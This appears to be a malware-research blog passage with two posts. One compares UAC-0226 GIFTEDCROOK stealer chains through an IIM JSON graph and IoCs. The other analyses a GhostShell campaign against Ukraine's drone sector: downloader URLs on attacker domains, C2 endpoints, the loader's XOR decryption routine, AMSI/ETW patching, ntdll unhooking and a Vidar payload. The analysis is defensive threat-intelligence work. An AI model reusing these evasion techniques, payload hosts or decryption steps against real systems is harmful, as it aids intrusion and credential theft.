%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\%USERNAME%
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\
%USERNAME%\JUWOyZd5pm7qym
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt

The randomly named ZIP file is very likely the final local staging container:

%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip

The file:

%TEMP%\oBKhrQLe1CKmO3RhHO

is used as an eight-byte persistent identifier.

The logic is approximately:

if identifier file exists:
    read first eight bytes
else:
    identifier = GetSystemTimeAsFileTime()
    write identifier to file

This gives the malware a stable per-infection or per-host value without relying on the registry.

Additional referenced files include:

ExitCode.txt
Key10.txt
logs.txt

Their exact role was not fully resolved through static analysis.

Persistence and cleanup

The inner payload contains active references to:

C:\ProgramData\

%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\

cmd.exe /c "timeout /t 5 & del "

This supports code paths for:

copying or placing files in ProgramData
interacting with the user Startup folder
delayed self-deletion

The initial persistence, however, is already established by the archive itself.
The WinRAR path traversal places the LNK in Startup before the malware is executed.
The internal persistence-related code may represent:

installation repair
payload migration
redundant persistence
cleanup after execution

The exact conditions for each branch would require dynamic tracing, but it’s too hot and i am too lazy today.

What changed compared to the previous UAC-0226 sample?

The two chains are clearly related in design philosophy.

(IIM Comparison View in Kraken)


If you want to compare the two chains yourself, here’s the Chain as JSON, you can throw it into the IIM Workbench and explore it for yourself 🙂
And: If you are interested in using my tooling or you want to support me in any way, feel free to visit https://malwarebox.eu or message me via contact@robin-dost.de

Click for IIM Chain
{
  "actor_id": "UAC-0226",
  "attack_annotations": [
    {
      "comment": "Both observations use PowerShell loaders.",
      "name": "PowerShell",
      "tactic": "Execution",
      "technique_id": "T1059.001"
    },
    {
      "comment": "Generated junk code and encoded payload stages.",
      "name": "Obfuscated/Compressed Files and Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1027"
    },
    {
      "comment": "Additive decoding: 117 in April; 0x48 in June.",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1140"
    },
    {
      "comment": "June observation plants the LNK in the user Startup folder.",
      "name": "Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "technique_id": "T1547.001"
    },
    {
      "comment": "June observation maps a headerless PE image through Main.dll!Func.",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "technique_id": "T1620"
    }
  ],
  "chain": [
    {
      "entity_id": "apr_archive",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "baseline-visible-lnk",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_loader",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "virtualalloc-loader",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_encoded",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-117",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "directly-reconstructed-pe",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "data-exfiltration-c2",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "jun_archive",
      "needs_review": true,
      "review_notes": "Original archive itself was not supplied; entity value is descriptive.",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_change_marker": "ads-path-traversal",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_change_marker": "uav-recon-targeting",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "startup-persistence",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wc3",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "native-ntapi-loader",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wt1",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-0x48-custom-header",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "reflective-pe-mapper",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_telemetry",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "loader-telemetry-not-exfiltration",
      "x_lane": "june-2026"
    }
  ],
  "chain_id": "uac-0226-giftedcrook-apr-jun-2026-comparison",
  "confidence": "likely",
  "description": "Dual-lane comparison graph overlaying two related UAC-0226/GIFTEDCROOK observations. The April and June lanes remain disconnected so the visualizer can compare stable structure and implementation changes without asserting that one sample directly produced the other.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_archive",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "7200a9f1e1ea51b66ab9c9274e9d8f805633179634e8ff4dcb8ef82bc02518df",
      "x_label": "Weaponized RAR archive",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_decoy",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Відомості з реєстру військовозобов’язаних про працівників №20260409-7496423-1.pdf",
      "x_label": "Military service registry decoy",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_lnk",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "ojMP31J28ohEDxT.lnk",
      "x_label": "Visible archive shortcut",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_loader",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "05fE",
      "x_label": "Obfuscated PowerShell loader",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_encoded",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Arj",
      "x_label": "Additively encoded payload; subtract 117",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_payload",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "2a8ea9f1ad8936fb302243faa64b91c5767df411923715cbdb1a869e3bfd7e6d",
      "x_label": "Decoded GIFTEDCROOK payload",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_c2",
      "source": "Synaptic Security Blog",
      "type": "url",
      "value": "https://136.0.141[.]138:8406/rcv/",
      "x_label": "RC4-reconstructed exfiltration endpoint",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "Analyst-provided archive entry structure"
      ],
      "id": "jun_archive",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "Weaponized RAR containing взвод розвідки.pdf (original archive filename and hash unavailable)",
      "x_label": "ADS/path-traversal archive",
      "x_lane": "june-2026",
      "x_value_status": "descriptive-placeholder"
    },
    {
      "evidence": [
        "SHA256 dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30"
      ],
      "id": "jun_decoy",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "взвод розвідки.pdf",
      "x_label": "Reconnaissance/UAV-themed decoy",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445"
      ],
      "id": "jun_lnk",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ThJRq_6uEj.lnk",
      "x_label": "Startup-planted shortcut",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8"
      ],
      "id": "jun_wc3",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\WC3",
      "x_label": "PowerShell loader using native NT APIs",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902"
      ],
      "id": "jun_wt1",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\wt1",
      "x_label": "Encoded headerless PE image; subtract 0x48",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Decoded custom-header image",
        "Main.dll!Func at raw offset 0x173B0 / export RVA 0x17FB0"
      ],
      "id": "jun_payload",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "hash",
      "value": "78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222",
      "x_label": "Reflectively mapped GIFTEDCROOK payload",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Recovered from WC3 PowerShell loader"
      ],
      "id": "jun_telemetry",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "url",
      "value": "https://142.111.194[.]73:8640/dj5FZEiLnA/",
      "x_label": "Mapper execution telemetry endpoint",
      "x_lane": "june-2026"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 1,
      "to": "apr_decoy",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 2,
      "to": "apr_lnk",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 3,
      "to": "apr_loader",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 4,
      "to": "apr_encoded",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_lnk",
      "sequence_order": 5,
      "to": "apr_loader",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_loader",
      "sequence_order": 6,
      "to": "apr_encoded",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "likely",
      "from": "apr_encoded",
      "sequence_order": 7,
      "to": "apr_payload",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_payload",
      "sequence_order": 8,
      "to": "apr_c2",
      "type": "connect",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 101,
      "to": "jun_decoy",
      "type": "drops",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 102,
      "to": "jun_lnk",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into Startup"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 103,
      "to": "jun_wc3",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 104,
      "to": "jun_wt1",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_lnk",
      "sequence_order": 105,
      "to": "jun_wc3",
      "type": "execute",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 106,
      "to": "jun_wt1",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Read, subtract 0x48, copy to memory, invoke raw offset 0x173B0"
    },
    {
      "confidence": "likely",
      "from": "jun_wt1",
      "sequence_order": 107,
      "to": "jun_payload",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Custom reflective mapper resolves imports/relocations and calls DllMain"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 108,
      "to": "jun_telemetry",
      "type": "connect",
      "x_lane": "june-2026",
      "x_purpose": "16-byte mapper status telemetry"
    }
  ],
  "title": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "x_comparison_mode": true,
  "x_comparison_note": "Schema-valid IIM chain used as an analytical overlay. For strict federation, use the two single-observation chain files included in the comparison pack.",
  "x_lanes": [
    {
      "id": "april-2026",
      "label": "April 2026 / previous sample",
      "order": 1
    },
    {
      "id": "june-2026",
      "label": "June 2026 / current sample",
      "order": 2
    }
  ]
}


They both use:

weaponized WinRAR archives
Ukrainian military-themed decoys
LNK-based execution
PowerShell
generated junk code
simple additive payload encoding
runtime-resolved APIs
RC4-like internal string protection
data collection and exfiltration

But the current chain is more operationalized.

ComponentPrevious sampleCurrent sample
Visible filesPDF, LNK, Arj, 05fEOne visible PDF, hidden ADS-based payload entries
ExecutionUser opens the LNKLNK is planted in Startup
Payload locationFiles extracted with the lureWC3 and wt1 written to ProgramData
Byte transformationSubtract 117Subtract 72
Native executionVirtualAlloc-style loaderNtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx
Decoded formatDirectly analyzable payloadHeaderless PE with custom metadata
In-memory loadingBasic memory executionFull reflective PE mapper
Loader feedbackNot observedDedicated 16-byte mapper telemetry
Browser targetingGIFTEDCROOK collectionExplicit Chrome, Edge, Opera and Firefox collection
File collectionChunked exfiltrationBroad document, archive, VPN, KeePass and keystore collection
C2 recoveryRC4-reconstructed C2Outer callback recovered; inner C2 remains encoded or dynamic
C2 Endpoint*:8406/rcv*:8640/dj5FZEiLnA

The change is not that UAC-0226 suddenly started using an advanced offensive framework.
The core components are still fairly straightforward.

The actual change is that the chain has become better packaged:

less visible archive content
automatic Startup execution
clean separation between loader and payload
custom header format
reflective DLL mapping
separate execution telemetry
broader and more explicit collection logic

The actor is still using simple building blocks, they are just assembling them more effectively.

Infrastructure Changes

Hosting-Provider dig not change, UAC-0226 is still using evoxt.com as their hosting provider.


Certificate changed:


Also there were changes in the default webserver request:


Port and Endpoint Changed too:

Before: *:8406/rcv
New: *:8640/dj5FZEiLnA

Note: This is likely intended to evade endpoint and network-based detection. The previous combination of port 8406 and the /rcv endpoint used by UAC-0226 have become a known indicator for EDR and intrusion-detection systems.
In response, the operators transposed the port from 8406 to 8640 and replaced the static endpoint with a randomly generated string.


Attribution considerations

The campaign context and technical overlap are consistent with the previously observed UAC-0226 and GIFTEDCROOK activity.
However, attribution should not rest on a single IP address, one obfuscation pattern or one Ukrainian lure.

The more useful similarities are structural:

the same archive-to-LNK execution model
the same generated PowerShell noise
the same additive byte-decoding concept
the same staged in-memory execution
the same RC4-like string protection
the same browser and file theft objective
the same focus on Ukrainian military-related targets

These are repeatable implementation and operational decisions rather than isolated indicators.
The current sample therefore looks less like an unrelated stealer and more like a further iteration of the same UAC-0226/GIFTEDCROOK tooling line.

Final thoughts

The PowerShell still relies heavily on generated noise.
The outer payload encoding is still a basic byte subtraction.
The inner strings are protected with a recognizable RC4-like construction.

But the overall chain has improved.

The archive hides its real contents behind NTFS Alternate Data Streams.
Persistence is established during extraction.
The payload is split across ProgramData.
The decoded stage no longer presents a normal PE header.
A reflective mapper rebuilds the DLL in memory, and the outer loader reports detailed execution status back to the operator.

That is enough to increase the time required for analysis and reduce the number of obvious on-disk indicators.

It is not particularly elegant.
But, once again, it does not need to be.
It only needs to survive long enough to collect browser secrets, documents, VPN configurations and credentials from the intended target.

IoCs

SHA-256
Malicious Archive
420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

Decoy PDF
dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30

Startup LNK
05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445

WC3 PowerShell loader
6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8

Encoded wt1
3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902

Decoded custom-header image
78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222

Analysis-only reconstructed PE
b268ecbc386d32ace546dd483707fd2c923de8f091741e544f52c7f872fe0d91
Network
142.111.194[.]73:8640
/dj5FZEiLnA/

The following address appears to be used as a connectivity check and is not itself a malicious infrastructure indicator:

1.1.1.1
Files and paths
C:\ProgramData\WC3
C:\ProgramData\wt1
%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\ThJRq_6uEj.lnk
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt
ExitCode.txt
Key10.txt
Loader markers
Main.dll
Func
0x173B0
0x17FB0
0x114200

GhostShell (MB-0009): Targeting Ukraine’s UAV Operations and Defense Supply Chain

by Robin Dost


Today, we are taking a look at malware linked to yet another threat actor, one that has been active since at least February 2026.

Since I could not associate the malware with any previously attributed threat actor, I am naming the actor GhostShell (you’ll find out why later in this article) and assigning it the Malwarebox identifier MB-0009.

The corresponding file has the following SHA-256 hash:

28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff

And was (in my opinion) wrongfully attributed to UAC-0226.
I already published two articles about UAC-0226, check out the latest one (25th of June 2026), to understand my reasoning.

It is an archive named:

Besomar_documentation.rar

The archive exploits CVE-2025-8088 / CVE-2025-6218, a vulnerability we already covered in the context of Gamaredon.


First, let’s extract the archive.

We can already see a familiar pattern here.

Extracting the archive causes a VBS file to be copied into the Windows Startup folder. The actor uses several relative paths to make damn sure they hit the Startup folder, regardless of the archives current working directory.

We also find a whole collection of decoy PDFs. The files themselves are harmless, but they provide us with useful information, for example, about the actors potential targets.

Let’s take a closer look at some of them.

The decoy set suggests that GhostShell is targeting more than individual UAV operators.
The documents are tailored to Ukraines broader drone ecosystem, including military units, technical personnel, procurement staff, volunteer organizations and defense-sector partners.

This indicates an interest in operational access, supply-chain intelligence and the networks supporting Ukrainian UAV deployments.
Anyone who tracks UACs might immediately think of UAC-0244/UAC-0247.
That was the case for me as well, but neither the tradecraft nor the infrastructure patterns match the profile, which is why I assume this is a separate cluster with no connection to the others.

The threat actor is using these files to impersonate Besomar.
Besomar is a Ukrainian company specializing in the development of high-precision fixed-wing drones designed for defense and security applications.

All of the PDFs have the same file size and the same creation date.

Original FilenameTranslated NameCreation Date
БпЛА Besomar 3210.pdfBesomar 3210 UAV.pdf2026:06:06 16:39:42+02:00
Зарядна станція.pdfCharging Station.pdf2026:06:06 16:39:42+02:00
Катапульта.pdfCatapult.pdf2026:06:06 16:39:42+02:00
Комплектація БпЛА Besomar.pdfBesomar UAV Configuration.pdf2026:06:06 16:39:42+02:00
Модифікація Besomar 3210-N.pdfBesomar 3210-N Modification.pdf2026:06:06 16:39:42+02:00
Переваги співпраці.pdfBenefits of Collaboration.pdf2026:06:06 16:39:42+02:00
Про компанію.pdfAbout the Company.pdf2026:06:06 16:39:42+02:00


Looking at the VBS Files

Now let’s take a look at the VBS files.

First, I want to know whether there are any differences between them.

Same hash means same file, so we only need to analyze one of them.

What we have here is essentially just a Base64-encoded string. It is decoded and then executed using ExecuteGlobal.

The script subsequently downloads two files from cloudaxis[.]cc:

https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe
https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe

Let’s have a look at the domain:

The domain is already a few months old and was registered in February. This also matches earlier findings related to this threat actor, but more on that later.

Opening the discovered URLs in a browser returns the following message:

Opening the domain without the URL path, however, shows this:

A decoy hosting website.


Do not let 404 messages like above fool you.
They are often little more than deception attempts by the actor.

So I throw the malware into Kraken, let it run through a sandbox via MANTIS and check whether it can retrieve another payload.

Et voilà, we have a new payload:

And that is not all.

KRAKEN also discovered a second file that can be distributed through the same infrastructure: 22.exe

122.exeab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3
22.exe8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25
update.exeb1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012


For now, however, we will focus on 122.exe

Reverse Engineering 122.exe

I usually run malware in a sandbox before starting the deeper reverse-engineering work. It makes the RE process significantly easier.
Let’s look at the important part of the network traffic.


This is a Hybrid Analysis result and it tells us the following:

  • A new domain, cdnexpress[.]cc is contacted
  • Data is sent to an /analytics endpoint
  • The sandbox receives a Bad Request response

Let’s briefly look at the domain.

It uses a different registrar from the previous domain.
So at least the threat actor did not make the mistake of registering everything through the same provider.

Opening the malware URL returns the following:



Based on the server response, we can assume that the malware contains a client certificate that is required for communication with the backend.
I am not going to provide a complete reverse-engineering write-up of the malware here, but I will summarize the most important parts.

Triage and detect Overlay


File: 122.exe
Type: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 6 sections
SHA256: ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3


The file contains an approximately 190 KB overlay, beginning at file offset 0x19C64.

Next, we need to identify the overlay structure and derive the XOR key.
I used Python here because it was simply faster.

The eight-byte blocks repeat heavily. With a fixed XOR operation, the most common block corresponds to the key:

-> d0cd4cb8d4673e28

We can now decrypt the overlay and carve the embedded PE:

An entropy map reveals an encrypted blob inside .rdata.

One important detail: the apparently identical 0x00–0xFF table also looks highly entropic, but it is merely a lookup table. The actual ciphertext is the blob at .rdata offset corresponding to virtual address:

0x140020880

Recovering the Decryption Routine

Next, we retrieve the decryption routine from the disassembly.

The referencing function contains both an AVX2 implementation and a scalar fallback.

The scalar loop gives us the plaintext algorithm.

movzx eax, cl            ; i & 0xFF
imul  edx, eax, 0x7      ; i*7
sub   dl, 0x58           ; key = (i*7 - 0x58) & 0xFF
xor   dl, [r8+r13*1]     ; ^ cipher[i]      (r13 = base 0x140020880)
mov   [rbx+r8*1], dl     ; plain[i]
cmp   ecx, 0x366         ; len = 870

We can now decrypt the configuration.

The result is a DER sequence containing a PKCS#12 structure.

Next, we inspect the structure using OpenSSL.

The certificate and private key can then be extracted.
The password is empty and the MAC check can be skipped.

What an mTLS Client Certificate Reveals About an Implant PKI

During triage, the sample gave us three related artifacts:

  • A client certificate
  • The corresponding private key
  • A PKCS#12 container in PFX format

The filename client is already our first useful data point.

This is not the server leaf certificate. It is the client side of a mutual-TLS relationship.

It is the material the implant uses to authenticate itself to the command-and-control server.
With mTLS, the server rejects any connection that does not present a valid client certificate.

The PKI therefore acts as an access-control mechanism.

Certificate Fields

Subject : CN=ed6e62814295701f
Issuer  : CN=GhostShell Implant CA
Serial  : 11145A2322AA5595D27E25CC977AD1B53CE88DCD (160 Bit, random)
Valid   : 2026-06-18 05:27:43 UTC -> 2027-06-19 05:27:43 UTC
Algo    : ECDSA, prime256v1 (P-256), Signatur ecdsa-with-SHA256
ExtKeyU : clientAuth (1.3.6.1.5.5.7.3.2) 
BasicC  : CA:FALSE
SAN     : keine

Three observations carry intelligence value.

The Common Name Appears to Be a Per-Implant Identifier

The common name is:

ed6e62814295701f

That is 16 hexadecimal characters, representing eight bytes or 64 bits.

This suggests that every deployed implant may receive its own client certificate with an individual identifier.
If that theory is correct, the CN becomes a potential tracking anchor across the campaign.

At this stage, however, that remains a theory.

The Issuer Names the Implant Framework

The issuer identifies itself as:

GhostShell Implant CA

This is a private certificate authority whose distinguished name was explicitly configured by the operator.

The string is highly likely to be hardcoded into the C2 builder or certificate-generation component, making it one of the most valuable pivots in the entire artifact set.

Possible Toolchain Indicators – with the Necessary Caveats

The combination of:

  • P-256
  • A random 160-bit serial number
  • A minimal critical-extension template

is consistent with Gos crypto/x509 implementation.
P-256 is commonly used there and Go generates certificate serials in a similar form.

This is, however, a weak signal and should not be treated as definitive toolchain attribution.

Naturally, I would now like to access the web server using the extracted client certificate and show you what is behind it.

Unfortunately, doing that and almost everything else interesting I would like to demonstrate, is not legal in Germany.
Since German lawmakers appear to have absolutely no interest in modernizing the relevant legislation and would apparently rather spend their time debating the correct wording of vegan sausage, i’d have to find a legal way for stuff like that and search for a cached/saved file on my sandbox system.

I was lucky, the file was still there on the sandbox file system 🙂

Do you notice anything?

It is the same decoy website, just with a different name and a few minor changes.

What Does 122.exe Do?

122.exe is a loader.

It XOR-decrypts the CRPT overlay and executes the embedded Stage-2 PE in memory. Imports such as VirtualAlloc, VirtualProtect, LoadLibrary and GetProcAddress support this behavior.

Stage 2 is the actual implant.

Stage-2 Capabilities

The implant communicates with cdnexpress[.]cc over HTTPS using WinHTTP.

It authenticates using the embedded elliptic-curve mTLS client certificate associated with ghostshell-client.
At the same time, it ignores validation errors for the server certificate through WinHttpSetOption using flags 0x3300.

The implant sends a host-fingerprinting beacon based on the following template:

implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu

This includes:

  • Implant version
  • Computer name
  • Username
  • Process ID
  • Thread ID

The relevant values are collected through functions including GetComputerName and GetUserName.

The implant also provides screenshot functionality through:

  • GdiplusStartup
  • GetDC
  • CreateCompatibleBitmap
  • BitBlt

This is a classic screen-capture implementation.

CreateProcess is present, providing command and payload execution capability.

Persistence is achieved through registry operations including RegCreateKey and RegSetValue, combined with a reference to:

CurrentVersion\Run

This indicates autostart persistence through a Windows Run key.

File-system functionality is provided through APIs such as:

  • CreateFile
  • WriteFile
  • GetTempPath

This allows the implant to store downloaded artifacts locally.

Anti-analysis functionality includes:

  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • Timing checks using QueryPerformanceCounter

What Does update.exe Do?

We have now analyzed one of the three discovered files. Next up is update.exe.

update.exe is a lightweight x64 in-memory loader that disguises itself as the Windows Security Health Service through manipulated version information.

After performing several basic anti-sandbox checks, including a sleep-timing check, verification of available physical memory and a check of the number of logical processors, the malware retrieves the Telegram page:

t.me/flufff6262

It extracts a value embedded between [CFG] and [/CFG] markers from the page content.

The value is first decoded from Base64 and then decrypted using XOR.


Example

Input: [CFG]XFNPUVZLV1MfAQ==[/CFG]

Output: 86.54.25[.]2

The malware then launches a hidden copy of itself as a new process using the following argument:

--exec <host>

Inside the child process, the malware patches:

  • EtwEventWrite
  • AmsiScanBuffer

It also opens a clean copy of:

C:\Windows\System32\ntdll.dll

The malware reads the clean .text section and overwrites the corresponding section of the already loaded ntdll.dll.

This unhooking operation is likely intended to remove user-mode hooks installed by EDR or monitoring products.

The malware subsequently decrypts an embedded 757-byte x64 shellcode payload using a 16-byte repeating-key XOR key.

The placeholder IP address:

111.111.111.111

inside the shellcode is replaced with the host previously retrieved through Telegram.

The corresponding memory region is then marked as executable and the shellcode is called directly.

The embedded WinINet-based stager connects to the dynamically resolved C2 server over HTTPS on TCP port 443. It retrieves the next stage from a hardcoded URI and loads it directly into memory.

Its structure and behavior are strongly consistent with a Metasploit x64 reverse_https stager.

I did not identify:

  • A persistence mechanism
  • Traditional process injection
  • The deployment of another PE file to the file system

For that reason, update.exe is more accurately classified as an in-memory loader or HTTPS stager, rather than a traditional dropper.

What Does 22.exe Do?

This one was an incidental discovery.

The file is hosted on the threat actors infrastructure, but I have not found any previous malware sightings associated with it.

22.exe is a multi-stage x64 launcher that uses an embedded Xray Core client as a covert transport and proxy layer.

The Go-based launcher first decrypts an embedded configuration using AES-256-GCM.

It then extracts two gzip-compressed components into the temporary directory:

  • An Xray client
  • A native Windows loader

The filenames are randomly generated at runtime.

Xray exposes two local proxies:

HTTP:  127.0.0.1:10809
SOCKS: 127.0.0.1:10808

Outbound traffic is tunneled through a VLESS connection using XTLS Vision and REALITY to:

5.181.156[.]168:25475

The launcher also enables the WinINet proxy for the currently logged-in Windows user and provides the native loader with matching HTTP_PROXY and HTTPS_PROXY environment variables.

The downstream native loader patches the following functions:

  • AmsiScanBuffer
  • AmsiOpenSession
  • EtwEventWrite
  • EtwEventWriteTransfer
  • NtTraceEvent

This is intended to interfere with AMSI- and ETW-based monitoring.

The loader then decrypts an embedded PE using AES-256-CBC, manually applies its relocations, resolves its imports and calls the entry point directly inside its own process.

The final payload was identified with high confidence as Vidar v2.

Vidar collects, among other things:

  • Browser passwords
  • Cookies
  • Browser history
  • Autofill data
  • Cryptocurrency wallet data
  • Cryptocurrency-related browser extensions
  • Telegram artifacts
  • Discord artifacts
  • Steam artifacts
  • Outlook configurations
  • FileZilla configurations
  • System information
  • Screenshots
  • Files defined by the C2 configuration

It also supports server-side loader tasks that allow the operator to execute additional programs or scripts.

After completing its activity or after the configured execution window expires the launcher terminates the processes it started, disables the previously configured proxy, deletes the temporary files and removes itself.

No permanent persistence mechanism was identified in the analyzed execution chain.

IIM Chain

